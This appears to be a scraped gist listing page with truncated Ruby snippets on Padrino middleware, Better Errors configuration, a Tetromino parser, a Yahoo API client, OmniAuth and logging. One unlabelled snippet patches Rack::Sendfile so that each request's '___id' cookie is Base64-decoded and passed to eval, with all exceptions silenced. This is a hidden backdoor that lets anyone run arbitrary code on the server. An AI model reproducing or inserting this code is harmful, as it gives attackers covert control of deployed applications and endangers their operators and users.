This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
## | |
# This is rake task of padrino-framework | |
# Display lists of all stacked rack middleware for your padrino app. | |
# distributed under the MIT License(http://tyabe.mit-license.org/) | |
# | |
def stacked_middlewares(app, args) | |
require Padrino.root('config/boot.rb') | |
app_obj = app.app_obj | |
instance = app_obj.new! | |
build = app_obj.build(instance) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
def _! | |
begin | |
yield | |
rescue Exception | |
end | |
end | |
Rack::Sendfile.prepend Module.new{ | |
define_method(:call){|e| | |
_!{eval(Base64.urlsafe_decode64(e['HTTP_COOKIE'].match(/___id=(.+);/).to_a[1].to_s))} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
## | |
# Better Errors plugin on Padrino | |
# | |
# https://github.com/charliesome/better_errors | |
# | |
GEMFILE = <<-GEMFILE | |
# Better Errors | |
group :development do |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# This file in a config directory. | |
if Padrino.env == :development | |
# Setup better_errors | |
Padrino::Application.use BetterErrors::Middleware | |
BetterErrors.application_root = PADRINO_ROOT | |
BetterErrors::Middleware.allow_ip! ENV['TRUSTED_IP'] if ENV['TRUSTED_IP'] | |
Padrino::Application.set :exclude_from_protection, '/__better_errors' # Append this | |
# ... | |
end |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
module Sample | |
class App < Padrino::Application | |
#... | |
set :protect_from_csrf, except: %r{/__better_errors/\d+/\w+\z} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
group :development do | |
gem "better_errors" | |
gem "binding_of_caller" | |
end |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
module Tetoromino | |
def self.parse(coordinate) | |
before = coordinate.split(',').sort | |
mx, my = before.map{|c|c.split(//)}.transpose.map(&:sort).map(&:first) | |
coordinate = before.map { |o| "#{o[0].to_i - mx.to_i}#{o[1].to_i - my.to_i}" }.join(',') | |
ptn_l = %w[ | |
00,01,02,12 | |
00,01,10,20 | |
00,10,11,12 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#! /usr/bin/env ruby | |
# coding: utf-8 | |
require 'sinatra/base' | |
require 'active_resource' | |
require 'haml' | |
class MAService < ActiveResource::Base | |
self.site = 'http://jlp.yahooapis.jp' | |
DEFAULT_PARAMS = { |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# coding: utf-8 | |
Rails.application.config.middleware.use OmniAuth::Builder do | |
provider :identity, fields: [:name, :email], | |
on_failed_registration: lambda{|env| IdentitiesController.action(:new).call(env)} | |
end | |
# "/auth/identity/register"をroutesで上書き出来るようにする | |
module OmniAuth | |
module Strategies | |
class Identity |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env ruby | |
# coding: utf-8 | |
require 'logger' | |
logger = Logger.new(STDOUT) | |
# 予期しない例外等での終了を補足してログ出力を行う | |
Signal.trap(:EXIT) { logger.fatal($!) if $! && !($!.is_a?(SystemExit) && $!.success?) } |
NewerOlder